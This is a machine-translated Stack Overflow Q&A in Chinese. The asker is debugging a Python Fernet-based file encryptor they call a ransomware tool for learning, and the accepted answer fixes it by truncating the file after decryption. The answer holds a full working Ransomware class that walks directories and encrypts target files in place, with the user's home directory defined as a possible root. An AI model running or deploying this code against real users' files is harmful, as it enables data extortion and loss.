首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Python cryptography.fernet文件解密

Python cryptography.fernet文件解密
EN

Stack Overflow用户
提问于 2021-02-05 07:32:44
回答 1查看 488关注 0票数 0

为了学习,我正在研究洗劫工具。

所以我复制并粘贴并像一样编辑它,但是当我加密和解密一个文本文件时,它会附加一个看起来像随机字符串的字符串。我怎样才能解决这个问题?

像这样:

代码语言:javascript
复制
Hello, World!

代码语言:javascript
复制
Hello, World!DTYutnC1fZWc5gCxAnYJoiHOdvTCVYveZ8fhaPrpowQ7TH6afPz7o6E0igVbI2uan6YAjovzwOuRvm6gvi6Bg==

使用此密钥文件:

代码语言:javascript
复制
aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=
EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2021-02-05 08:37:19

问题是你加密然后解密。您的加密和解密功能工作得很好,问题是您总是试图从文件的开头开始编写任何更改--这将对加密工作很好,如果明文和密文大小相同(没有填充),但在文件开始时会放置与密文大小不同的解密明文,这将很好地处理解密,因此您需要截断密码文本的其余部分。

代码语言:javascript
复制
import os
from os.path import expanduser
from cryptography.fernet import Fernet


class Ransomware(object):
    def __init__(self):
        self.key = None
        self.cryptor = None
        self.file_ext_targets = ["txt"]  # Type of files, you're going to encrypt

    def generate_key(self):
        self.key = Fernet.generate_key()
        self.cryptor = Fernet(self.key)

    def read_key(self, keyfile_name):
        with open(keyfile_name, "rb") as f:
            self.key = f.read()
            self.cryptor = Fernet(self.key)

    def write_key(self, keyfile_name):
        print(self.key)
        with open(keyfile_name, "wb") as f:
            f.write(self.key)

    def crypt_root(self, root_dir, encrypted=False):
        for root, _, files in os.walk(root_dir):
            for f in files:
                abs_file_path = os.path.join(root, f)
                if not abs_file_path.split(".")[-1] in self.file_ext_targets:
                    continue
                self.crypt_file(abs_file_path, encrypted=encrypted)

    def crypt_file(self, file_path, encrypted=False):


        with open(file_path, "rb+") as f:
            _data = f.read()
            if not encrypted:
                # Encrypt
                print()
                data = self.cryptor.encrypt(_data)
                f.seek(0)
                f.write(data)

            else:
                data = self.cryptor.decrypt(_data)
                print(f"File content before encryption: {data}")
                f.seek(0)
                f.write(data)
                f.truncate()

sys_root = expanduser("~")
local_root = "."

keyfile = "./keyfile"

ransom = Ransomware()


def encrypt():
    ransom.generate_key()
    ransom.write_key("keyfile")
    ransom.crypt_root(local_root)


def decrypt():
    ransom.read_key(keyfile)
    ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()
票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/66059279

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档